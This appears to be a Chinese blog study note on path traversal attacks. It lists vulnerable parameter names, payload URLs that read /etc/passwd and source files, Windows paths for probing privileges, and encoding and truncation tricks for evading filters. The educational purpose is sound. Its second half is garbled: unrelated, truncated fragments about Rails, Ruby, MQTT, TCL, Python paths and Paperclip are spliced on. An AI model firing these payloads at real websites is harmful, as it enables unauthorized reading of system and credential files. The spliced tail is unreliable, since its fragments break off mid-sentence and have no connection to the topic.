本文主要是对路径穿越漏洞进行学习总结,本身这个漏洞也并不常见,主要是多产生于php的程序。
这种类型的攻击强制访问文件、目录、 以及位于 Web 文档根目录之外的命令 或 CGI 根目录。
常用来其他读取、写入类漏洞结合。
我个人给这种漏洞形成的原因可以分为两类
错误配置
由于带有中间代理转发性质的功能配置错误
程序本身代码存在问题
这一点十分好理解,就是代码写的有问题,逻辑简单,没有验证。
第一类:文件类参数
请求参数似乎包含文件或目录名称的,例如include=main.inc或template=/en/sidebar。
第二种:常见参数
cat,dir,action,board,date,detail,file,download,path,folder,prefix
include,page,inc,locate,show,doc,site,type,view,content,document
layout,mod,conf
第三种:域名根部
根据推测这种应该是由于配置问题导致的。
www.test.com/../../../../../../../../../../../etyc/passwd
通过…/ 到上一层目录
这个是最基本,最常用的。
绝对路径遍历
以下 URL 可能容易受到此攻击:
https://testsite/get.php?f=list
https://testsite/get.cgi?f=5
https://testsite/get.asp?f=test
攻击者可以像这样执行此攻击:
https://testsite/get.php?f=/var/www/html/get.php
https://testsite/get.cgi?f=/var/www/html/admin/get.inc
https:// testsite/get.asp?f=/etc/passwd
当网络服务器返回有关网络应用程序错误的信息时,攻击者更容易猜测正确的位置(例如,带有源代码的文件的路径,然后可能会显示)。
相对路径遍历
相对路径遍历见的较多
http://example.com/index.php?page=../../../etc/passwd
权限探测
如果可以读取以下文件,那么至少的管理员组的用户,当然前提是有administrator这个用户,没有的话,就要猜测用户了。
c:/documents and settings/administrator/ntuser.ini
c:/documents and settings/administrator/desktop/desktop.ini
c:/users/administrator/desktop/desktop.ini
c:/users/administrator/ntuser.ini
如果可以读取以下文件,则读取文件的进程拥有LocalSystem权限;
c:/system volume information/wpsettings.dat
C:/Windows/CSC/v2.0.6/pq
C:/Windows/CSC/v2.0.6/sm
C:/$Recycle.Bin/S-1-5-18/desktop.ini
关于LocalSystem:LocalSystem是预设的拥有本机所有权限的本地账户,这个账户跟通常的用户账户没有任何关联,也没有用户名和密码之类的凭证。这个服务账户可以打开注册表的HKEY_LOCAL_MACHINE\Security键,当LocalSystem访问网络资源时,它是作为计算机的域账户使用的。
16 位 Unicode 编码
. = %u002e
/ = %u2215
\ = %u2216
UTF-8编码
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
UTF-7编码
UTF-7(7 位 Unicode 转换格式)是一种可变长度字符编码,
超长的 UTF-8 统一码编码
.: %c0%2e, %e0%40%ae, %c0ae
\: %c0%af, %e0%80%af, %c0%2f
/: %c0%5c, %c0%80%5c
双层url编码
. = %252e
/ = %252f
\ = %255c
非常规组合
“.”、“/”、“”,三个符号随意的组合多次(随机0-3次比较好感觉,因为看到的很多例子大概就是这样),进行绕过,如必要还可以添加其他符号进行尝试。下面是示例。也就是有点进行FUzz的意思
....//....//etc/passwd
..///....//etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
..././
...\.\
..;/
%00截断
有些程序会在读取内容是添加指定后缀,使用%00可以进行截断,忽视后面的内容
http://example.com/index.php?page=../../../etc/passwd%00
PHP 修复了该问题 在版本 5.3.4 中。
"?"截断
跟上诉情况相同,在最后添加?也许同样会有效果
https://code.google.com/archive/p/teenage-mutant-ninja-turtles/wikis/AdvancedObfuscationPathtraversal.wiki
如何使此根路径转到:“/dashboard”而不仅仅是http://example.com?root:to=>'dashboard#index',:constraints=>lambda{|req|!req.session[:user_id].blank?} 最佳答案 您可以通过以下方式实现:root:to=>redirect('/dashboard')match'/dashboard',:to=>"dashboard#index",:constraints=>lambda{|req|!req.session[:user_id].b
我需要根据字符串路径的长度将字符串路径数组转换为符号、哈希和数组的数组给定以下数组:array=["info","services","about/company","about/history/part1","about/history/part2"]我想生成以下输出,对不同级别进行分组,根据级别的结构混合使用符号和对象。产生以下输出:[:info,:services,about:[:company,history:[:part1,:part2]]]#altsyntax[:info,:services,{:about=>[:company,{:history=>[:part1,:pa
Organization和Image具有一对一的关系。Image有一个名为filename的列,它存储文件的路径。我在Assets管道中包含这样一个文件:app/assets/other/image.jpg。播种时如何包含此文件的路径?我已经在我的种子文件中尝试过:@organization=...@organization.image.create!(filename:File.open('app/assets/other/image.jpg'))#Ialsotried:#@organization.image.create!(filename:'app/assets/other/i
我安装了ruby、yeoman,当我运行我的项目时,出现了这个错误:Warning:Running"compass:dist"(compass)taskWarning:YouneedtohaveRubyandCompassinstalledthistasktowork.Moreinfo:https://github.com/gruUse--forcetocontinue.Use--forcetocontinue.我有进入可变session目标的路径,但它不起作用。谁能帮帮我? 最佳答案 我必须运行这个:geminstallcom
是否有内置的Ruby方法或众所周知的库可以返回对象的整个方法查找链?Ruby查看一系列令人困惑的类(如thisquestion中所讨论)以查找与消息对应的实例方法,如果没有类响应消息,则调用接收方的method_missing。我将以下代码放在一起,但我确信它遗漏了某些情况或者它是否100%正确。请指出任何缺陷并指导我找到一些更好的代码(如果存在)。defmethod_lookup_chain(obj,result=[obj.singleton_class])ifobj.instance_of?Classreturnadd_modules(result)ifresult.last==B
我正在寻找这样解析路由路径的方法:ActionController::Routing.new("post_path").parse#=>{:controller=>"posts",:action=>"index"}应该和url_for相反更新我发现:Whatistheoppositeofurl_forinRails?Afunctionthattakesapathandgeneratestheinterpretedroute?ActionController::Routing::Routes.recognize_path("/posts")所以现在我需要将posts_path转换为“/p
一、什么是MQTT协议MessageQueuingTelemetryTransport:消息队列遥测传输协议。是一种基于客户端-服务端的发布/订阅模式。与HTTP一样,基于TCP/IP协议之上的通讯协议,提供有序、无损、双向连接,由IBM(蓝色巨人)发布。原理:(1)MQTT协议身份和消息格式有三种身份:发布者(Publish)、代理(Broker)(服务器)、订阅者(Subscribe)。其中,消息的发布者和订阅者都是客户端,消息代理是服务器,消息发布者可以同时是订阅者。MQTT传输的消息分为:主题(Topic)和负载(payload)两部分Topic,可以理解为消息的类型,订阅者订阅(Su
TCL脚本语言简介•TCL(ToolCommandLanguage)是一种解释执行的脚本语言(ScriptingLanguage),它提供了通用的编程能力:支持变量、过程和控制结构;同时TCL还拥有一个功能强大的固有的核心命令集。TCL经常被用于快速原型开发,脚本编程,GUI和测试等方面。•实际上包含了两个部分:一个语言和一个库。首先,Tcl是一种简单的脚本语言,主要使用于发布命令给一些互交程序如文本编辑器、调试器和shell。由于TCL的解释器是用C\C++语言的过程库实现的,因此在某种意义上我们又可以把TCL看作C库,这个库中有丰富的用于扩展TCL命令的C\C++过程和函数,所以,Tcl是
一:os.path.dirname(__file__)和os.getcwd()importospath=os.path.dirname(__file__)print("os.path.dirname(__file__)方法的结果{}".format(path))path=os.getcwd()print("os.getcwd()方法的结果{}".format(path))该脚本路径为:/User/xxx/Work1.在当前目录/User/xxx/Work运行程序结果:2.在上一级目录/User/xxx运行程序:3.在其他目录/User/xxx/Work/python运行程序:\在其他目录/Us
Paperclip的文档提到,您可以通过将以下代码放在test.rb环境文件中来更改测试的上传路径:Paperclip::Attachment.default_options[:path]="#{Rails.root}/spec/test_files/:class/:id_partition/:style.:extension"我遇到的问题是附件在模型中设置了路径,不会被覆盖:has_attached_file:photo,path:':attachment/:id/:style.:extension'当我运行测试时,文件会上传到/photo/文件夹而不是/spec/test_file